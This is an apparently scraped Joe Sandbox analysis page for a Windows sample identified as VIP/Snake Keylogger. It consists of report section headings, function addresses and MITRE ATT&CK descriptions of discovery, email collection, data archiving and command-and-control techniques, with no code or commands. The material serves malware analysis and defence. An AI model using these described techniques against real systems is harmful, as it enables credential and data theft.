Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kP8EgMorTr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kP8EgMorTr.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
kP8EgMorTr.exe

Function 06D0B688 Relevance: 6.0, Strings: 4, Instructions: 1029
COMMON

Function 04BF8809 Relevance: 5.3, Strings: 1, Instructions: 4066
COMMON

Function 04BF8818 Relevance: 5.3, Strings: 1, Instructions: 4062
COMMON

Function 06D00CF8 Relevance: 1.8, Strings: 1, Instructions: 554
COMMON

Function 009FD570 Relevance: 6.1, APIs: 4, Instructions: 137
threadCOMMON

Function 009FD580 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 009FB2DF Relevance: 1.7, APIs: 1, Instructions: 209
COMMON

Function 009F590D Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre